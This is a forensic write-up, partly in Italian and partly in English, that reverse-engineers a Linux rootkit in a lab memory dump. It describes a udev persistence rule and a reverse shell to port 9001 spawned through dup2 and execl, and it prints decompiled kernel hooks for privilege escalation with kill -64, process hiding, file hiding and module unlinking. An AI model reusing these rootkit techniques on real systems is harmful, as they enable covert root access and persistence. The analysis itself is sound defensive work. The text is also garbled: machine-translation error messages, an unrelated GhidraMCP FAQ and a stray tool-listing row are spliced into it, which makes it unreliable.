Nel ciclo do-while, il binario tenta continuamente di aprire un socket IPv4 TCP in modalità SOCK_STREAM. Se la creazione del socket fallisce, registra l'errore e attende cinque secondi prima di riprovare. Una volta ottenuto un socket, configura la struct sockaddr per l'indirizzo di destinazione 192.168.56.101 porta 0x2329 (9001), registra la propria intenzione di connettersi e chiama connect(). In caso di connessione riuscita, registra Connection established, spawning shell, duplica il descrittore del socket su standard input, output ed errore tramite dup2(), e quindi invoca /bin/bash tramite execl(). Se execl fallisce, registra l'errore, chiude il socket, attende cinque secondi e ripete.

Riepilogo del comportamento

Sintesi comportamentale

  • Il binario opera in due modalità: load (inietta il modulo del kernel dalla memoria, senza lasciare alcun artefatto su disco) e rsh (si trasforma in demone, si nasconde e mantiene una reverse shell persistente verso il server C2).
  • Una regola udev (RUN+="/shell load") garantisce che il caricatore venga eseguito a ogni avvio, re-iniettando il modulo per la persistenza.
  • Il design sfrutta il contesto di breve durata e isolato dalla rete di udev per un'iniezione furtiva del modulo, mentre la reverse shell viene lanciata in modo indipendente per consentire all'attaccante un accesso illimitato.

Reversing del modulo del kernel

Non mostra il tuo rkit (dovrebbe essere visibile qui!?):``` uv run vol -f dumpmem_linux_root_kit -s symbols linux.lsmod | grep rkit

root@kitploit:~
--> Perché è nascosto nel prpcfs```
vagrant@linux-root-kit:~$ uv run vol -f dumpmem_linux_root_kit -s symbols linux.modxview.Modxview | grep rkit
Name	Address	     In procfs	In sysfs	   In scan	Taints
rkit	0xffffc08e65c0	False	False	True	OOT_MODULE,UNSIGNED_MODULE
  • Perché GhidraMCP deve scrivere file di patch? È un rischio per la sicurezza?

    Per tenere i file di patch lontani dalle directory del progetto, puoi impostare GHIDRA_PATCH_DIR su una directory dedicata, come /tmp/ghidra_patches. Vedere Sezione 3.2.5.``` uv run vol -f dumpmem_linux_root_kit -s symbols linux.module_extract.ModuleExtract --base 0xffffc08e65c0 Volatility 3 Framework 2.26.0 Progress: 100.00 Stacking attempts finished
    Base File Size File output

0xffffc08e65c0 498984 kernel_module.rkit.0xffffc08e65c0.elf

root@kitploit:~
The input for chunk 103 is empty—there is no content provided to translate. Please provide the Markdown text for this chunk.```
vagrant@linux-root-kit:~$ sha256sum kernel_module.rkit.0xffffc08e65c0.elf 
5f9e96f65c4abe7f6865c8f4703e509aa25b58f1c76dc0f5d74090f80471351e  kernel_module.rkit.0xffffc08e65c0.elf

Disassembling with Gidra:

Symbol Tree of the Kernel Module

These function calls only contain the names, not the code. They are split into the FUN_* functions, which are extremely unreadable. For example:

alt text

Therefore, we try to extract the kernel module not from memory, but from the userland binary (shell):```c int load_module(void)

{ --snip-- lVar1 = syscall(0xaf,&rkit_ko,(ulong)rkit_ko_len,&DAT_00102035); --snip-- }

root@kitploit:~
Da questo, possiamo vedere che il modulo del kernel è memorizzato in `rkit_ko` e la sua lunghezza in `rkit_ko_len`. Possiamo cercare questi simboli in Ghidra.

![Rkit_ko](https://assets.kitploit.com/production/public/readmes/36699/e881a526319e208a88f1613c31bde9bb66db199e90d036e2e5e63fac169c7f9e.png)

![alt text](https://assets.kitploit.com/production/public/readmes/36699/339d583c68a0bb0d353bc08c379025ef36c7cd5bde0bfbb97bd93ca5669a1b4d.png)

L'inizio di questo è `00104020` (fine `0016bedf`) e la lunghezza è:```
                             rkit_ko_len                                     XREF[2]:     Entry Point(*), 
                                                                                          load_module:001015ac(R)  

        0016bee0 c0 7e 06 00     undefined4 00067EC0h

→ Inverti l'ordine dei byte (o leggi il valore ripristinato) → Lunghezza: 67EC0

Controllo:``` python3 -c 'print(hex(0x016bedf - 0x00104020 + 1))' 0x67ec0

root@kitploit:~
## Script Python per estrarre il modulo del kernel


Quando un file viene caricato in memoria—in questo caso, il file ELF—non viene mappato 1:1 ma con offset specificati qui:

Per il nostro programma alla posizione `0x00104020`, dobbiamo verificare quale offset aggiunge Ghidra:

![Ghidra Memory range](https://assets.kitploit.com/production/public/readmes/36699/3eb24ab04a8e8aabfd97fad0e662af3fca0e7b8d867bd004e7d83a392e599228.png)
Mostra un offset di `+ 0x00100000`.```
─$ readelf -l inode_0x8befcbfc5908.dmp
 
  # <added for clarity>  
  LOAD           Offset                  VirtAddr     PhysAddr
                  FileSiz                   MemSiz     Flags  Align
  # <added for clarity>  
  -- snip -- 
  LOAD           0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000be0 0x0000000000000be0  R      0x1000
  LOAD           0x0000000000001000 0x0000000000001000 0x0000000000001000
                 0x0000000000000a11 0x0000000000000a11  R E    0x1000
  LOAD           0x0000000000002000 0x0000000000002000 0x0000000000002000
                 0x00000000000002cc 0x00000000000002cc  R      0x1000
  LOAD           0x0000000000002d00 0x0000000000003d00 0x0000000000003d00
                 0x00000000000681e4 0x0000000000068230  RW     0x1000

 -- snip --

Qui, cerchiamo il nostro indirizzo virtuale 0x00104020.

Prima, dobbiamo rimuovere l'offset aggiunto da Ghidra: 0x00004020 = 0x00104020 − 0x00100000.

Pertanto, segui questi passaggi per ogni segmento LOAD:

1. Crea Range: [VirtAddr, VirtAddr + MemSiz/FileSiz]

Ad esempio, per il primo segmento LOAD:``` [VirtAddr , VirtAddr + MemSiz/FileSiz ]

[0x0000000000000000, 0x0000000000000000 + 0x0000000000000be0]

[0x0, 0xbe0]

root@kitploit:~
### 2. Confronta l'indirizzo obiettivo:

`0x4020` è all'interno dell'intervallo `[0x3d00, 0x3d00 + 0x68230]`.


### 3. Continua finché non viene trovata una corrispondenza:
`0x4020` è all'interno dell'intervallo `[0x3d00, 0x3d00 + 0x68230]`.


L'offset tra lo spazio virtuale e il disco viene calcolato come `VirtAddr − Offset`, o in questo esempio:

0x3d00 - 0x2d00 = 0x1000

Pertanto, l'indirizzo di base del binario ELF è `0x3020`.

Quindi lo estraiamo:```
with open("./inode_0x8befcbfc5908.dmp", "rb") as f: # or shell
 f.seek(0x3020)
 data = f.read(0x67ec0)

with open("./extracted_module", "wb") as f:
 f.write(data)

I don't see any content to translate in the "INPUT" section—it appears to be empty. Please provide the chunk text you'd like translated.``` file extracted_module extracted_module: ELF 64-bit LSB relocatable, x86-64, version 1 (SYSV), BuildID[sha1]=c5224df8e6f37d51f6b8f9cd9f6cc1120ab1d284, with debug_info, not stripped

sha256sum extracted_module 0f06ac286c1914ee7b2d252c8edf8860d9894bd3e1e0575ab869cfbbdd1b6f56 extracted_module

root@kitploit:~
E con questo approccio otteniamo un output pseudo C molto migliore :D.

![Migliore pseudo c con Ghidra](https://assets.kitploit.com/production/public/readmes/36699/49c1d90ea993e2ea08271eccd5a2e3bacb85aa590312f0f37dd7e6c324ac267d.png)

## rkit_init


L'inizio di ogni modulo del kernel è il `{module_name}_init`.
Lo pseudo C qui è:```c
int rkit_init(void)

{
  int iVar1;
  long lVar2;
  undefined1 *hook;
  
  hook = hooks;
  lVar2 = 0;
  do {
    iVar1 = fh_install_hook((ftrace_hook *)hook);
    if (iVar1 != 0) {
      if (lVar2 != 0) {
        fh_remove_hook((ftrace_hook *)(hooks + (-(int)(lVar2 + -1) & 0xe0)));
        if (lVar2 + -1 != 0) {
          fh_remove_hook((ftrace_hook *)hooks);
        }
      }
      return iVar1;
    }
    lVar2 = lVar2 + 1;
    hook = (undefined1 *)((long)hook + 0xe0);
  } while (lVar2 != 3);
  if (module_hidden == 0) {
    (__this_module.list.next)->prev = __this_module.list.prev;
    (__this_module.list.prev)->next = __this_module.list.next;
    prev_module = __this_module.list.prev;
    __this_module.list.next = (list_head *)0xdead000000000100;
    __this_module.list.prev = (list_head *)0xdead000000000122;
    kobject_del(0x1019d0);
    module_hidden = 1;
  }
  _printk(&DAT_00100bf9);
  msleep(5000);
  _printk(&DAT_00100da8);
  iVar1 = call_usermodehelper(argv.27,&argv.27,envp.28,1);
  if (iVar1 != 0) {
    _printk(&DAT_00100dd8,iVar1);
    return 0;
  }
  _printk(&DAT_00100e08);
  return 0;
}


In the first part, it installs 3 hooks with the help of ftrace.

```c
hook = hooks;
  lVar2 = 0;
  do {
    iVar1 = fh_install_hook((ftrace_hook *)hook);
    if (iVar1 != 0) {
      if (lVar2 != 0) {
        fh_remove_hook((ftrace_hook *)(hooks + (-(int)(lVar2 + -1) & 0xe0)));
        if (lVar2 + -1 != 0) {
          fh_remove_hook((ftrace_hook *)hooks);
        }
      }
      return iVar1;
    }
    lVar2 = lVar2 + 1;
    hook = (undefined1 *)((long)hook + 0xe0);
  } while (lVar2 != 3);```

## Hooked Functions

Looking at the symbol tree, we assume the hooks are the following:

![Symbol Tree with hooked functions](https://raw.githubusercontent.com/ic3-512/linux-root-kit/HEAD/images-kernel/image-6.png)
 - orig_getdents (`"__x64_sys_getdents"`)
 - orig_getdents64 (`"__x64_sys_getdents64"`)
 - orig_kill (`"__x64_sys_kill"`)

### Kill Hook


This function, `__pfx_hook_kill`, is a hook for the kill system call, designed to intercept process `signals` and implement `custom behaviors` based on the signal number passed. It's typical in rootkits to repurpose rarely used or `unused signal` numbers to trigger stealthy functionality like `privilege escalation`, `hiding processes`, or `unloading` the rootkit.


Splitting the code up, we get 3 different signal numbers:
- 64: Privilege escalation
- 63: Hide process
- 62: Unload module


```c
undefined1  [16] __pfx_hook_kill(pt_regs *param_1)

{
  uint uVar1;
  list_head *plVar2;
  int iVar3;
  long lVar4;
  undefined1 auVar5 [16];
  
  uVar1 = (uint)param_1->di;
  iVar3 = (int)param_1->si;```
`iVar3` in this case is the pid which should recieve the kill signal.
`uVar1` is the target PID.
```c
if (iVar3 == 0x40) {
    _printk(&DAT_00100e38,uVar1);
    lVar4 = prepare_creds();
    if (lVar4 != 0) {
      *(undefined8 *)(lVar4 + 8) = 0;
      *(undefined8 *)(lVar4 + 0x10) = 0;
      *(undefined8 *)(lVar4 + 0x18) = 0;
      *(undefined8 *)(lVar4 + 0x20) = 0;
      commit_creds(lVar4);
    }
  }```

If the kill signal is `0x40` (64), it logs the call and zeroes out UID, GID, EUID, EGID, etc., making the calling process root. Effectively elevating the process to root privileges. A user can call this with a simple `kill -64 1` and elevate their rights to `root`.


```c
else if (iVar3 == 0x3f) {
    _printk(&DAT_00100c09,uVar1);
    sprintf(hide_pid,"%d",(ulong)uVar1);
  }```

If the kill signal is `0x3f` (63), it adds the PID to a `hide_pid` array, which is used in another hook to hide the process itself.

```c
else {
    if (iVar3 != 0x3e) {
      auVar5._0_8_ = (*orig_kill)(param_1);
      auVar5._8_8_ = 0;
      return auVar5;
    }
    _printk(&DAT_00100e60);
    plVar2 = prev_module;
    if (module_hidden != 0) {
      __this_module.list.next = prev_module->next;
      (__this_module.list.next)->prev = &__this_module.list;
      __this_module.list.prev = plVar2;
      plVar2->next = (list_head *)0x101988;
      module_hidden = 0;
    }
    fh_remove_hook((ftrace_hook *)hooks);
    fh_remove_hook((ftrace_hook *)(hooks + 0xe0));
    fh_remove_hook((ftrace_hook *)(hooks + 0x1c0));
  }
  return ZEXT816(0);
}```

If the kill signal is `0x3e` (62), it restores the double-linked list for the kernel modules, removes all of the hooks, and exits the kernel module.

```c
if (iVar3 != 0x3e) {
      auVar5._0_8_ = (*orig_kill)(param_1);
      auVar5._8_8_ = 0;
      return auVar5;
    }```


If the final branch is not our signal `0xfe`, it just calls the normal signals.
### Getdents(64) Hook


The `getdents` and `getdents64` syscalls are both hooked by the rootkit. This report focuses on the `getdents` function, as the logic for `getdents64` is analogous. For clarity, non-essential code has been omitted from the snippet below.

```c
int hook_getdents(pt_regs *regs)

{
 --snip--
  uVar2 = regs->si;
  uVar6 = (*orig_getdents)(regs);
  iVar5 = (int)uVar6;
  --snip--
  if (0 < iVar5) {
    uVar15 = (ulong)iVar5;
    __dest = (void *)__kmalloc(uVar15,0xdc0);
    if (__dest != (void *)0x0) {
      __check_object_size(__dest,uVar15,0);
      lVar7 = _copy_from_user(__dest,uVar2,uVar15);
      if (lVar7 == 0) {
        uVar16 = 0;
        pvVar13 = (void *)0x0;```

The original `getdents` syscall is invoked to copy the directory entries from user space into kernel space for further inspection and manipulation.

```c
--snip--
  if (0 < iVar5) {
    uVar15 = (ulong)iVar5;
    __dest = (void *)__kmalloc(uVar15,0xdc0);
    if (__dest != (void *)0x0) {
      __check_object_size(__dest,uVar15,0);
      lVar7 = _copy_from_user(__dest,uVar2,uVar15);
      if (lVar7 == 0) {
        uVar16 = 0;
        pvVar13 = (void *)0x0;
        do {
          pvVar1 = (void *)((long)__dest + uVar16);
          if (hide_prefix[0] != '\0') {
            __n = strnlen(hide_prefix,0xff);
            --snip--
              if (__n != 0xff) {
                iVar5 = strncmp((char *)((long)pvVar1 + 0x12),hide_prefix,__n);
                if (iVar5 != 0) goto LAB_001004fb;
                goto LAB_001004cb;
              }
            }```


The code iterates over all directory entries returned by the syscall. If an entry's name matches the prefix specified in `hide_prefix`, that entry is excluded from the results, effectively hiding files or directories with that prefix from userland tools.

![Hide Prefix for files](https://raw.githubusercontent.com/ic3-512/linux-root-kit/HEAD/images-kernel/image-11.png)


In this case, the prefix is set to `_rkit`, so any file or directory beginning with this string will be concealed.


```c
--snip-- 
          if ((hide_pid[0] == '\0') ||
             (iVar5 = strcmp((char *)((long)pvVar1 + 0x12),hide_pid), iVar5 != 0)) {
LAB_001004de:
            __n_00 = (ulong)(int)uVar6;
            uVar16 = uVar16 + *(ushort *)((long)pvVar1 + 0x10);
            pvVar13 = pvVar14;
          }```


Similarly, the code checks for process IDs that match those stored in the `hide_pid` array (populated via the kill hook with signal `63`). Any matching process is omitted from the directory listing, thereby hiding it from standard process enumeration tools.

```c
--snip--
        _copy_to_user(uVar2,__dest,__n_00);
      }
      iVar5 = (int)uVar6;
      kfree(__dest);
    }
  }
  return iVar5;
}```


Once all filtering is complete, the modified list of entries is copied back to user space and returned, ensuring hidden files and processes remain undetectable to typical inspection methods.


## Module Hiding

The module achieves stealth by directly manipulating the kernel's module list structure, removing itself from the double-linked list. As a result, it becomes invisible to the `lsmod` command and similar enumeration tools.
```c
if (module_hidden == 0) {
    (__this_module.list.next)->prev = __this_module.list.prev;
    (__this_module.list.prev)->next = __this_module.list.next;
    prev_module = __this_module.list.prev;
    __this_module.list.next = (list_head *)0xdead000000000100;
    __this_module.list.prev = (list_head *)0xdead000000000122;```

The module also unlinks its kobject from the kernel object hierarchy, making it undetectable in `/sys/modules/`.
```c
kobject_del(0x1019d0);
    module_hidden = 1;
  }```

## Debug Messages

Upon successful loading, the module writes `rkit: loaded` to the kernel log using `_printk`.

![Rkit loaded message](https://raw.githubusercontent.com/ic3-512/linux-root-kit/HEAD/images-kernel/image-7.png)

It then logs `rkit: starting usermode revshell loader` to indicate the initiation of the usermode reverse shell loader.
![Rkit start revshell](https://raw.githubusercontent.com/ic3-512/linux-root-kit/HEAD/images-kernel/image-8.png)

## Reverse Shell Loader

The module invokes `call_usermodehelper` with `/shell` as the first argument and `rsh` as the second, launching the userland binary in reverse shell mode during system boot. This ensures persistence and remote access for the attacker.
![Usermode call first argument](https://raw.githubusercontent.com/ic3-512/linux-root-kit/HEAD/images-kernel/image-9.png)
![Usermode call second argument](https://raw.githubusercontent.com/ic3-512/linux-root-kit/HEAD/images-kernel/image-10.png)


## rkit_exit

The `rkit_exit` function serves as the rootkit's cleanup routine. When the kernel module is unloaded, it restores the original module list (if previously hidden) and removes all installed hooks.

```c
void rkit_exit(void)
{
  list_head *plVar1;
  plVar1 = prev_module;
  if (module_hidden != 0) {
    __this_module.list.next = prev_module->next;
    (__this_module.list.next)->prev = &__this_module.list;
    __this_module.list.prev = plVar1;
    plVar1->next = (list_head *)0x101988;
    module_hidden = 0;
  }
  fh_remove_hook((ftrace_hook *)hooks);
  fh_remove_hook((ftrace_hook *)(hooks + 0xe0));
  fh_remove_hook((ftrace_hook *)(hooks + 0x1c0));
  _printk(&DAT_00100be7);
  return;
}```

This process ensures a clean removal, minimizing traces and reducing the risk of system instability after the rootkit is unloaded.


# Checksums

| Filename                                      | Size  | SHA256 Checksum                                                              | Description                                               |
|-----------------------------------------------|-------|------------------------------------------------------------------------------|-----------------------------------------------------------|
| dumpmem_linux_root_kit                        | 4.6G  | bcc73188e6905357a514107e4eac7557bce17b7e747aa1cca416c43f56c22367                                                                            | Full memory dump of infected system                       |
| extracted_module                              | 416K  | 0f06ac286c1914ee7b2d252c8edf8860d9894bd3e1e0575ab869cfbbdd1b6f56             | rkit kernel module (extracted from memory dump --> memory maped)           |
| extract.py                                    | 182B  | f23119742f82adb8cd2bc801cdaf79f85822fa7f55960830472bbbe0bc72ff11                                                                            | Extraction helper script                                  |
| inode_0x8befc61393a8.dmp                      | 57K   | dd9c08aa1ef1c2768bcac34ca02c6565f5e1942be82ea7801a1f65d193d4ddb5             | dmesg.log                                                  |
| inode_0x8befcbf9bd48.dmp                      | 68B   | f184eb4ffcd106951f39385d6a784e431de726ea427b98088cc89cdb30d70db3             | /etc/udev/rules.d/99-load-rootkit.rules                   |
| inode_0x8befcbfc5908.dmp                      | 433K  | 7f61a7634ece76c37c9263fc342ff2b3f742f542c759809d0b123d6228804b61             | shell                                                     |
| kernel_module.rkit.0xffffc08e65c0.elf         | 488K  | 5f9e96f65c4abe7f6865c8f4703e509aa25b58f1c76dc0f5d74090f80471351e             | rkit kernel module (extracted from shell binary)          |
| lilux_hex                                     | 13M   | cb9ec2399929bae6383148dc983b0e07571534f65293fa085adac31bf35fd543             | sliver beacon (extracted from pcap)                        |
| output.pcap                                   | 14M   | e712d6b1f7bb51a0625d0e7ce0116bfc33521eaf2cf471cf76958c8f84a67ad1                                                                            | Network capture containing Sliver beacon traffic          |

# Tools and Versions Used

| Tool/Software         | Version/Commit/Details                | Purpose/Notes                                  |
|----------------------|---------------------------------------|------------------------------------------------|
| Volatility3          | 2.26.0                                | Memory forensics, module extraction            |
| Ghidra               | 11.3.2                            | Reverse engineering, disassembly, pseudo-C     |
| NetworkMiner         | 2.8.1 (mono)                          | Network artefact extraction                    |
| Sliver C2            | v1.5.43 - e116a5ec3d26e8582348a29cfd251f915ce4a405 | C2 server, beacon generation                   |
| Vagrant              | 2.4.6                                 | VM provisioning                               |
| VirtualBox           | 7.1.6r167084                          | VM management, memory/core dump                |
| Python               | 3.12                                  | Extraction scripts, analysis                   |
| Ubuntu | 24.04 (bento/ubuntu-24.04)| Developer VM OS |
| Kali Linux | 2025.4    | Attacker VM OS                                 |
| dwarf2json| commit 9f14607e0d339d463ea725fbd5c08aa7b7d40f75  | Volatility symbol file generation              |
| fzf                  | 0.64.0    | Fuzzy search in memory artefacts               |
| Gnu Make             |  4.4.1        | Build userland loader                          |
| GCC                  |14.2.1 20250207                                | Kernel/userland binary compilation             |
| Linux Kernel         | 6.8.0-53-generic   | Target system kernel                           |
| tcpdump              | 4.99.4 | Network capture                                |
| sha256sum            | coreutils 9.6| Artefact integrity verification                |
| readelf              | binutils 2.42                         | ELF analysis                                   |
| file                 | file 5.46 | Binary type identification                     |
| grep                 | coreutils 9.6| Text search in artefacts                       |
| Gnu Bash             | 5.2.37                                | Shell scripting                                |
Scarica lo strumento
#ToolDescriptionLanguageStatus
257XSS-FreakUno scanner XSS che consente di scansionare il server alla ricerca di vulnerabilità XSS, anche se il target dispone di un firewall. Può anche bypassare il firewallPythonAttivo
vagrant@linux-root-kit:~$ uname -a
Linux linux-root-kit 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux